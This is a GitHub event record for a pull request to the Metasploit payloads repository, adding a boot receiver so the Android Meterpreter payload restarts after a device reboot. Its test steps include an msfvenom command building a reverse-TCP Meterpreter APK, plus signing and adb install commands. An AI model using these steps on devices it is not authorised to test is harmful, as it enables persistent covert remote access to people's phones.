{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-payloads/issues/49","labels_url":"https://api.github.com/repos/rapid7/metasploit-payloads/issues/49/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-payloads/issues/49/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-payloads/issues/49/events","html_url":"https://github.com/rapid7/metasploit-payloads/pull/49","id":116722511,"number":49,"title":"Android: add BOOT_COMPLETED receiver that starts the Payload","user":{"login":"timwr","id":684924,"avatar_url":"https://avatars.githubusercontent.com/u/684924?v=3","gravatar_id":"","url":"https://api.github.com/users/timwr","html_url":"https://github.com/timwr","followers_url":"https://api.github.com/users/timwr/followers","following_url":"https://api.github.com/users/timwr/following{/other_user}","gists_url":"https://api.github.com/users/timwr/gists{/gist_id}","starred_url":"https://api.github.com/users/timwr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timwr/subscriptions","organizations_url":"https://api.github.com/users/timwr/orgs","repos_url":"https://api.github.com/users/timwr/repos","events_url":"https://api.github.com/users/timwr/events{/privacy}","received_events_url":"https://api.github.com/users/timwr/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-payloads/labels/android","name":"android","color":"207de5"},{"url":"https://api.github.com/repos/rapid7/metasploit-payloads/labels/enhancement","name":"enhancement","color":"84b6eb"},{"url":"https://api.github.com/repos/rapid7/metasploit-payloads/labels/feature","name":"feature","color":"fad8c7"}],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":2,"created_at":"2015-11-13T08:22:16Z","updated_at":"2015-11-13T08:42:28Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-payloads/pulls/49","html_url":"https://github.com/rapid7/metasploit-payloads/pull/49","diff_url":"https://github.com/rapid7/metasploit-payloads/pull/49.diff","patch_url":"https://github.com/rapid7/metasploit-payloads/pull/49.patch"},"body":"@jduck mention in IRC that BOOT_COMPLETED might be a good place to start the Android meterpreter. This change adds a BroadcastReceiver that listens for the BOOT_COMPLETED intent and starts the payload.\r\nTo test:\r\n * Install the Android meterpreter on a phone, e.g:\r\n```\r\n./msfvenom -p android/meterpreter/reverse_tcp LHOST=$LHOST LPORT=4444 -o met.apk\r\njarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA met.apk androiddebugkey\r\nadb install met.apk\r\n```\r\n * Start the app\r\n - [ ] Ensure you get a session\r\n * Restart the device\r\n - [ ] Ensure you get a session (once the phone has finished booting) and that it works\r\n\r\nYou'll need to start the app initially to ensure the app isn't in \"stopped state\", see: \r\nhttps://code.google.com/p/android/issues/detail?id=18225\r\nhttp://developer.android.com/about/versions/android-3.1.html#launchcontrols"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-payloads/issues/comments/156363175","html_url":"https://github.com/rapid7/metasploit-payloads/pull/49#issuecomment-156363175","issue_url":"https://api.github.com/repos/rapid7/metasploit-payloads/issues/49","id":156363175,"user":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"created_at":"2015-11-13T08:42:28Z","updated_at":"2015-11-13T08:42:28Z","body":"jenkins, this is ok to test"}}